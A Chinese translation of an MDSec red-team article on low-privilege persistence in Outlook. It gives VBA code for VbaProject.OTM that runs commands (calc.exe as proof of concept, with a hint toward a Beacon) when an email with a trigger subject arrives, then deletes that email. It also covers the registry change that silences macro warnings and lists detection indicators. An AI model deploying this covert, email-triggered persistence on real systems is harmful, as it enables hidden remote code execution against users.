基于Outlook邮件的低权限持久化方法
2020-12-21 12:00:00 Author: www.4hou.com(查看原文) 阅读量:199 收藏

0x00 概述

使用低权限用户在用户空间建立持久化的技术往往非常有价值,因为这样的场景远远多于权限提升的场景。因此,我们持续研究了一些未被广泛记录、可能不会被蓝队监测到的新技术。在去年,我们发表过3篇持久化相关的文章,而在这篇文章中,我们继续讨论持久化技术,重点分析我们近期发现的Outlook持久化技术。到目前为止,这项技术还没有被太多的蓝队所关注。

此前,已经有多位研究人员针对基于Outlook的持久化这个话题进行了研究,包括Dave Hartley和Nick Landers,他们详细介绍了如何使用Outlook规则来实现持久化。

在本文中,我们将重点介绍使用Outlook的VbsProject.OTM文件来达到与之相近的效果。尽管该技术还没有流传太广,但Cobalt Kitty此前已经将其用于命令和控制通道。

0x01 分析

与大多数Microsoft Office产品套件一样,Outlook可以启用“开发人员”选项卡,并通过VB编辑器创建基于VBA的宏。我们打开编辑器,创建一个简单的宏,可以找到一个名为“ThisOutlookSession”的Outlook特定模块。

1.png

在保存宏后,Outlook会在%APPDATA%\Roaming\Microsoft\Outlook目录下创建VbaProject.OTM文件。

2.png

但是,如果我们尝试以默认配置来执行宏,会出现失败提示,因为默认配置被设定为“为有数字签名的宏提供通知,禁用所有其他宏”。

但是,我们可以通过使用以下值来创建Security注册表项,以修改这项配置。

3.png

在宏安全性配置中,Level值定义如下:

4 = 不提供通知,禁用所有宏

3 = 为有数字签名的宏提供通知,禁用所有其他宏

2 = 为所有宏提供通知

1 = 启用所有宏

要允许宏在不通知用户的情况下以隐蔽方式运行,我们可能需要设置Level值为1,在操作期间启用所有宏。

检查VbaProject.OTM文件,我们发现它是标准的Microsoft复合文档文件(CDF):

dmc@deathstar ~  file ~/VbaProject.OTM

VbaProject.OTM: Composite Document File V2 Document, Cannot read section info

使用oledump.py对其进行进一步分析,可以发现其中包含宏代码的OLE流:

dmc@deathstar ~  ✗ python oledump.py ~/VbaProject.OTM
  1:        43 'OutlookProjectData'
  2:       388 'OutlookVbaData/PROJECT'
  3:        59 'OutlookVbaData/PROJECTwm'
  4: M    6156 'OutlookVbaData/VBA/ThisOutlookSession'
  5:      2663 'OutlookVbaData/VBA/_VBA_PROJECT'
  6:       497 'OutlookVbaData/VBA/dir'

至此,我们现在知道了VbaProject.OTM是启用OLE宏的标准文档,因此创建、混淆、清除(Purging)、重载(Stomping)这些文件的传统工具和技术仍然适用。当我们将其投递到磁盘上时,可能需要确保其静态安全性。

接下来,让我们来深入研究,如何将其作为武器化的持久化工具。

0x02 武器化

为了让VBA代码执行更有意义,代码需要作为事件的结果来执行。ThisOutlookSession模块允许我们订阅Outlook中的多种不同事件,这将导致有不同的机会来实现代码执行。

这里讨论的是持久化方式,可能会涉及到由用户驱动的某些事件(例如:打开Outlook)或由攻击者决定的某些事件(例如:接收到特定邮件)。在这里,我们将重点讨论后者,并说明如何利用带有特定主题的邮件实现任意VBA执行。

为了确定何时收到新的邮件,我们可以通过在Outlook启动时首先订阅默认收件箱的事件来实现,具体使用以下方法。首先,在注册事件时,为默认收件箱文件夹(olInboxItems)设置变量。

Option Explicit
Private WithEvents olInboxItems As Items
Private Sub Application_Startup()
    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items
End Sub

然后,利用用户对收件箱的引用,我们可以借助“ItemAdd”回调函数在收到新邮件时接收事件:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)
End Sub

具体而言,我们只对接收到的电子邮件感兴趣,因此可以对回调再做一下优化,使其仅在接收到新邮件时触发。可以通过验证条目,确认其类型是否为“MailItem”来实现这一点。

Private Sub olInboxItems_ItemAdd(ByVal Item As Object) 
    If TypeOf Item Is MailItem Then
        MsgBox "You have mail"
    End If
End Sub

当然,我们不想每收到一封邮件就执行一次,因此可以使用特定的条件判断,包括发件人地址、主题、正文内容等过滤接收到的邮件。在这里,对上述代码进行扩展,当收到特定主题(MailItem.Subject)的邮件时,执行代码,随后使用MailItem.Delete方法删除电子邮件。

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Dim olMailItem As MailItem
    If TypeOf Item Is MailItem Then
       If InStr(olMailItem.Subject, "MDSec") > 0 Then
            MsgBox "Hack The Planet"
            olMailItem.Delete
        End If
    End If
    Set Item = Nothing
    Set olMailItem = Nothing
End Sub

将上述代码组合在一起,最终弹出计算器。

Option Explicit
 
Private WithEvents olInboxItems As Items
 
Private Sub Application_Startup()
    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items
End Sub
 
Private Sub olInboxItems_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Dim olMailItem As MailItem
    If TypeOf Item Is MailItem Then
       If InStr(olMailItem.Subject, "MDSec") > 0 Then
            MsgBox "Hack The Planet"
            Shell "calc.exe"
            olMailItem.Delete
        End If
    End If
    Set Item = Nothing
    Set olMailItem = Nothing
End Sub

演示视频:https://vimeo.com/482370663

弹出计算器只是概念证明,实际上可以利用武器化的方式生成一个Beacon,具体的实现方式留给各位读者尝试。

演示视频:https://vimeo.com/482376266

0x03 检测

从终端安全的角度,可以通过以下两个关键指标检测该技术:

1、监测%APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM文件的创建、修改事件(Sysmon事件ID 11);

2、监测注册表HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security键和Level值的创建、修改事件(Sysmon事件ID 12)。

这篇文章由Dominic Chell撰写。

本文翻译自:https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/7ONy
如有侵权请联系:admin#unsafe.sh